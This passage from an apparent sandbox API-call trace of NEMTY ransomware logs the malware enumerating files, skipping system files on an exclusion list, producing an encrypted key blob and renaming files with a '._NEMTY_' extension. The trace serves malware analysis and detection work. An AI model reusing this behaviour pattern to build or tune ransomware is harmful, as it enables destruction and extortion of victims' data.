hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.830] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.830] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.830] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.844] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.844] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.887] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401b8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0071.887] CloseHandle (hObject=0xffffffff) returned 0 [0071.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0071.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0071.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0071.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0071.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0071.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0071.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403e0 [0071.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340498 [0071.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0071.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0071.888] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png._nemty_kgobjgd_")) returned 0 [0071.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0071.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0071.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0071.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0071.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0071.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0071.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0071.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0071.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0071.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0071.888] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ParentMenuButtonIconSubpict.png", cAlternateFileName="")) returned 1 [0071.888] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2=".") returned 1 [0071.888] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="..") returned 1 [0071.888] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="...") returned 1 [0071.888] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="windows") returned -1 [0071.888] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="$RECYCLE.BIN") returned 1 [0071.888] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="rsa") returned -1 [0071.888] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="NTDETECT.COM") returned 1 [0071.888] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="ntldr") returned 1 [0071.888] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="MSDOS.SYS") returned 1 [0071.888] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="IO.SYS") returned 1 [0071.888] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="boot.ini") returned 1 [0071.888] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="boot.ini") returned 1 [0071.889] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="AUTOEXEC.BAT") returned 1 [0071.889] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="ntuser.dat") returned 1 [0071.889] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="desktop.ini") returned 1 [0071.889] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="CONFIG.SYS") returned 1 [0071.889] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="RECYCLER") returned -1 [0071.889] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="BOOTSECT.BAK") returned 1 [0071.889] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="bootmgr") returned 1 [0071.889] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="programdata") returned -1 [0071.889] lstrcmpiW (lpString1="ParentMenuButtonIconSubpict.png", lpString2="appdata") returned 1 [0071.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0071.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ParentMenuButtonIconSubpict.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0071.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0071.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ParentMenuButtonIconSubpict.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ParentMenuButtonIconSubpict.png", lpUsedDefaultChar=0x0) returned 31 [0071.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0071.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0071.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ParentMenuButtonIconSubpict.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0071.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0071.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ParentMenuButtonIconSubpict.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ParentMenuButtonIconSubpict.png", lpUsedDefaultChar=0x0) returned 31 [0071.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0071.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0071.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0071.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0071.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ParentMenuButtonIconSubpict.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0071.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0071.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ParentMenuButtonIconSubpict.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ParentMenuButtonIconSubpict.png", lpUsedDefaultChar=0x0) returned 31 [0071.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0071.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0071.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ParentMenuButtonIconSubpict.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0071.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0071.889] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ParentMenuButtonIconSubpict.png", cchWideChar=31, lpMultiByteStr=0x4f9ed58, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ParentMenuButtonIconSubpict.png", lpUsedDefaultChar=0x0) returned 31 [0071.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0071.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0071.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0071.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0071.889] Sleep (dwMilliseconds=0x5) [0071.900] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xde806610, dwHighDateTime=0x1d561e7)) [0071.900] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xde806610, dwHighDateTime=0x1d561e7)) [0071.900] GetLastError () returned 0x5 [0071.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0071.900] GetLastError () returned 0x5 [0071.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0071.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0071.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0071.901] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0071.901] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0071.901] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0071.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401b8 [0071.901] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401b8, pcchString=0x653e91c | out: pszString="OVo5w7WXb6wqPNsGxqHTl/OBL6DkvuEUoSlaRa9dhktzJOnq7+0SfmFHENfVo0gm\r\nXf/4fMP/nSPxQChEqV2XEJS6LqnLBzVRHRWxbZe/p/uA4v+NPs+tsg/GlNlFHGxA\r\nLuzf5I277bIfiFYMEMfvibN7SUUFlkYp26+dBEv+ZVdsactuQVS7LrpCyVnAIFes\r\nA+6WLaMM1LKAZm2Ev0nKzLBTiD9KxnoIQuAFvYu7DTwaxDFLPajVbiTQ/wey/GDr\r\n7kncw14ziMdszZJVatXAE0+IgGl1Ptjr04m3z61aLEHydjQFTckF1ZMCzs9aNIlm\r\nx9ZdVEJrBGY2fR+aY1UbCg==\r\n", pcchString=0x653e91c) returned 1 [0071.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0071.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0071.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0071.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0071.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401b8 [0071.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0071.901] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0071.901] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0071.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0071.901] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.901] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.910] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.911] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.911] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.911] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.920] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.920] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.929] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.929] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.929] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.929] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.938] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.938] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.938] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.938] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.947] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.948] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.948] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.948] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.957] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.957] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.957] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.957] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.966] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.966] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.966] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.966] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.975] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.975] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.975] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.975] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.985] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.985] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.985] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.995] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.995] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.995] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.995] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.001] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.001] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.007] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.007] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401b8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0072.007] CloseHandle (hObject=0xffffffff) returned 0 [0072.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0072.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, 